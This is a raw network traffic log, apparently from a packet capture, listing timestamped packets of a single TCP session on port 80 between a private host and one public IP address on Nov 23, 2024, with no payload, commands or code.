Nov 23, 2024 18:22:37.599596977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.599601984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.600275040 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.600321054 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.600332022 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.600337029 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.600378990 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.600415945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.600843906 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.601087093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.601130962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.601135969 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.601146936 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.601191044 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.601214886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.601265907 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.642287970 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642324924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642352104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.642364025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.642373085 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642390013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642415047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642426968 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.642435074 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642447948 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.642452955 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642471075 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.642479897 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.642510891 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.643140078 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.643189907 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.643192053 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.643208027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.643227100 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.643248081 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.643273115 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.643333912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.644032001 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644089937 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644105911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644129038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644141912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.644153118 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.644177914 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.644781113 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644840002 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644845963 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.644856930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644880056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.644881010 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.644896984 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.644932985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.645705938 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.645756960 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.645768881 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.645775080 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.645800114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.645823956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.645873070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.645891905 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.646440029 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.646492004 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.646502972 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.646519899 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.646553040 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.646609068 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.646635056 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.646648884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.647273064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.647317886 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.647331953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.647347927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.647372007 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.647384882 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.647463083 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.648175001 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.648190975 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.648206949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.648225069 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.648253918 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.648367882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.648416042 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.649027109 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.649077892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.649087906 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.649094105 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.649122000 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.649142027 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.649171114 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.649219036 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.649981976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650018930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650032997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.650032997 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650068998 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.650072098 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650122881 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.650680065 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650721073 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.650728941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650748014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650777102 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.650794983 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.650811911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.650854111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.651458025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.651525021 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.651541948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.651557922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.651645899 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.651671886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.651981115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.652489901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.652523994 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.652539968 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.652569056 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.652594090 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.652647018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.653418064 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.653537989 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.653584957 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.653587103 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.653601885 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.653620005 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.653636932 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.653645039 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.653667927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.654346943 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.654396057 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.654422045 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.654438972 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.654467106 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.654478073 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.654540062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.654587030 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.655262947 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.655307055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.655334949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.655363083 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.655385971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.655448914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.655846119 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.655884027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.655894995 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.655901909 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.655925035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.655950069 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.655956030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.656374931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.656440973 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.656483889 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.810730934 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.810775995 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.810791016 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.810791969 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.810825109 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.810834885 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.810842037 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.810895920 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.810913086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.810937881 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.810961008 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.811589003 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.811674118 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.811739922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.811784983 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.811861992 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.811969042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.811986923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.812019110 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.812019110 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.812032938 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.812057018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.812098980 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.812753916 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.812798977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.812809944 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.812829018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.812845945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.812854052 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.812868118 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.812886953 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.813606024 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.813623905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.813642979 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.813663960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.813694000 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.813715935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.813822985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.814377069 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.814404011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.814420938 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.814429998 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.814440012 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.814466000 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.814537048 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.814634085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.815251112 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.815267086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.815284014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.815319061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.815332890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.815416098 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.815463066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.816004038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.816040039 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.816049099 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.816057920 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.816099882 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.816126108 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.816273928 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.816844940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.816871881 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.816890955 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.816917896 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.816943884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.817092896 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.817382097 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.817660093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.817694902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.817712069 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.817743063 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.817765951 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.817775965 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.817866087 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.818476915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.818527937 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.818543911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.818574905 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.818589926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.818592072 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.818634987 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.819334030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.819360018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.819376945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.819391966 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.819392920 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.819408894 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.819432974 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.820139885 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.820177078 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.820184946 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.820195913 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.820240021 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.820269108 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.820401907 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.820986986 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.821014881 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.821031094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.821042061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.821048021 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.821062088 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.821072102 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.821089029 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.821858883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.821908951 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.821926117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.821962118 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.821986914 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.822037935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.822621107 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.822649002 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.822654963 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.822669029 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.822688103 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.822732925 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.822746038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.822787046 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.823445082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.823489904 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.823493004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.823512077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.823529005 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.823554039 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.823579073 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.824333906 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.824351072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.824368000 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.824384928 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.824398994 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.824409962 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.824440956 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.825104952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.825145960 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.825162888 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.825186968 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.825218916 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.825241089 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.825333118 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.826047897 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826065063 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826081038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826100111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826103926 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.826119900 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.826145887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.826752901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826797962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826803923 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.826816082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826838970 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.826852083 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.826873064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.826920986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.827642918 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.827688932 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.827707052 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.827740908 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.827775002 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.827824116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.828154087 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.828434944 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.828469992 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.828486919 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.828488111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.828511953 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.828526974 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.828577042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.828630924 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.829256058 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.829296112 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.829303980 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.829314947 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.829332113 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.829349041 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.829384089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.829384089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.830203056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.830219984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.830235958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.830255985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.830269098 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.830287933 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.830379963 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.830420971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.831171036 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.831197023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.831214905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.831223965 CET	49822	80	192.168.2.4	185.215.113.16
